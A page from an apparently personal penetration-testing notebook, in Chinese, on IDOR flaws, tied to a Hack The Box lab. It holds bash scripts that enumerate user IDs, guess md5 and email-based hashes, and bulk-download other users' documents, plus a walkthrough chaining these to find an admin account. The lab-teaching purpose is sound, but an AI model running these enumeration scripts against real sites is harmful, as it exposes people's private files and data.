0xdfxyz
  • Penetration Testing Process
    • README.md
    • Whois
  • Nikto
  • Search Engine Discovery
  • FinalRecon
  • Nessus
  • 0_新手上路
    • 0_新手上路
  • 1_訊息收集
    • 服務枚舉
      • Page 6
      • Nmap
      • DNS
    • 應用枚舉
      • Page 6
    • A D枚舉
      • Page 6
    • web枚舉
      • Page 6
      • Web Fuzzing
      • Subdomain
  • 2_漏洞前準備
    • 反彈 Shell
    • 工具彙總
    • 字典生成
  • 3_漏洞利用
    • 應用漏洞利用
    • AD 攻擊
    • 二進位漏洞利用
    • Web漏洞利用
      • XSS
      • IDOR
      • Webshel​​l
      • File uploads
      • SSTI
      • LFI
      • SQL injection
      • XXE
      • HTTP Verb Tampering
      • Command Injection
    • 服務漏洞利用
      • CMS
        • Wordpress
        • Joolmla
        • Drupal
      • Servlet 容器/軟體開發
        • Jenkins
        • Tomcat
      • 基礎設施/網路監控工具
        • Splunk
        • PRTG Network Monitor
      • 客戶服務管理與配置管理
        • osTicket
        • Gitlab
      • 通用網關介面
        • 攻擊通用網關介面 (CGI) 應用程式 - Shellshock
      • 其他應用
        • ColdFusion
        • IIS Tilde
        • LDAP
      • 常見應用程式
        • Thick client(也稱為rich客戶端或fat客戶端
        • Web 批量分配漏洞 ( Ruby on Rails)
        • 攻擊連接到服務的應用程式(SSH)
  • 4_滲透
    • Linux 權限提升
    • Windows 權限提升
    • Windows + Linux 工具
  • 5_橫向移動
    • 工具
    • 跳板 Pivoting
    • AD 橫向移動
    • Linux 橫向移動
    • Windows 橫向移動
  • 6_NetExec
    • 常見模組
    • 命令執行
    • 漏洞掃描模組
    • 模組使用
    • 憑證轉儲
    • Kerberos 認證
    • LDAP RDP 枚舉
    • SMB 枚舉
由 GitBook 提供支持
在本页
  • 1. 發現點
  • 2. 測試Payload
  • 3. 連鎖IDOR漏洞
  • 4.Skills Assessment

这有帮助吗?

  1. 3_漏洞利用
  2. Web漏洞利用

IDOR

Insecure Direct Object References (IDOR) 漏洞是最常見的網路漏洞之一,可能會對有漏洞的網路應用程式造成嚴重影響。當 Web 應用程式公開對物件(如檔案或資料庫資源)的直接引用時,就會出現 IDOR 漏洞,最終使用者可以直接控制該引用以取得對其他類似物件的存取權限。如果由於缺乏穩固的存取控制系統而導致任何使用者可以存取任何資源,則該系統被視為易受攻擊。

建立可靠的存取控制系統非常具有挑戰性,這就是 IDOR 漏洞普遍存在的原因。此外,自動識別存取控制系統中的弱點的過程也相當困難,這可能導致這些漏洞在投入生產之前都無法被發現。

1. 發現點

  • 未受保護的用戶文檔查詢:

    http://example.com/documents.php?uid=1
    • 這個 URL 允許根據 uid 獲取用戶的文檔連結。

    • 攻擊者可以透過遍歷 uid 來收集所有用戶的文檔資訊。

  • 基於 contract 參數的下載端點:

    http://example.com/download.php?contract=40f5888b67c748df7efba008e7c2f9d2
    • contract 參數可能是基於 uid 的哈希(如 md5(uid) 或 UUID)。

    • 攻擊者可以嘗試使用不同的哈希值來獲取其他用戶的文檔。

  • API 可遍歷的用戶資訊:

    GET /user/profile?id=124
    • 這個 API 允許透過 id 參數查詢其他用戶的個人資料。

    • 如果沒有適當的權限驗證,攻擊者可以遍歷 ID 來收集所有用戶的個資。

  • UUID 作為下載參數:

    http://example.com/download.php?uuid=550e8400-e29b-41d4-a716-446655440000
    • 這可能是一個 UUID,代表某個文件的唯一標識符。

    • 如果 UUID 可預測或可以暴力破解,攻擊者可以下載其他用戶的文件。

2. 測試Payload

(1) 遍歷 uid 獲取文件

#!/bin/bash

url="http://SERVER_IP:PORT"

for i in {1..100}; do
        for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
                wget -q $url/$link
        done
done

解釋:

  • 遍歷 uid 1 到 100,檢查是否能獲取 .pdf 文件連結。

  • 使用 wget 下載每個發現的文件。


(2) 嘗試哈希變體下載文件

#!/bin/bash

for i in {1..100}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done

解釋:

  • 嘗試 contract 參數是否為 md5(uid)。

  • 嘗試 base64(uid) + md5 來測試哈希變體。


(3) UUID 碰撞攻擊

如果 contract 或 uuid 是基於某個可推測的模式(如 md5(email)),可以暴力測試:

for email in $(cat email_list.txt); do
    uuid=$(echo -n $email | md5sum | awk '{print $1}')
    curl -sOJ "http://example.com/download.php?uuid=$uuid"
done

解釋:

  • 透過 email_list.txt 內的郵件地址生成 md5(email)。

  • 測試是否可作為 uuid 來下載文件。

3. 連鎖IDOR漏洞

🔗 第一步:利用 documents.php?uid=X 來獲取用戶數據

攻擊者可以遍歷 uid 來獲取所有員工的個人資訊,例如:

http://example.com/documents.php?uid=1

返回:

{
    "uid": 1,
    "uuid": "40f5888b67c748df7efba008e7c2f9d2",
    "role": "employee",
    "full_name": "Amy Lindon",
    "email": "a_lindon@employees.htb",
    "document_link": "/documents/file_1.pdf"
}

✅ 我們現在知道:

  • uid 可遍歷,攻擊者可以獲取所有用戶的 UUID、email 和 document_link。

🔗 第二步:利用 contract=md5(uid) 來下載文件

攻擊者現在擁有了一個員工的 uid,我們猜測文件下載 API 可能使用 md5(uid) 作為 contract:

http://example.com/download.php?contract=40f5888b67c748df7efba008e7c2f9d2

攻擊者使用以下腳本遍歷 contract:

for i in {1..100}; do
    md5_hash=$(echo -n $i | md5sum | awk '{print $1}')
    curl -sOJ -X POST -d "contract=$md5_hash" http://example.com/download.php
done

✅ 現在我們可以批量下載所有員工的文件。


🔗 第三步:利用 GET /user/profile?id=X 獲取高權限帳戶

攻擊者現在有了一份員工列表,他發現系統允許透過 id 來查詢個人資料:

GET /user/profile?id=124

回應:

{
    "id": 124,
    "role": "admin",
    "full_name": "John Doe",
    "email": "admin@example.com"
}

✅ 我們成功找到了 admin 的 id!

4.Skills Assessment

上一页XSS下一页Webshel​​l

最后更新于2个月前

这有帮助吗?

https://academy.hackthebox.com/module/134/section/1219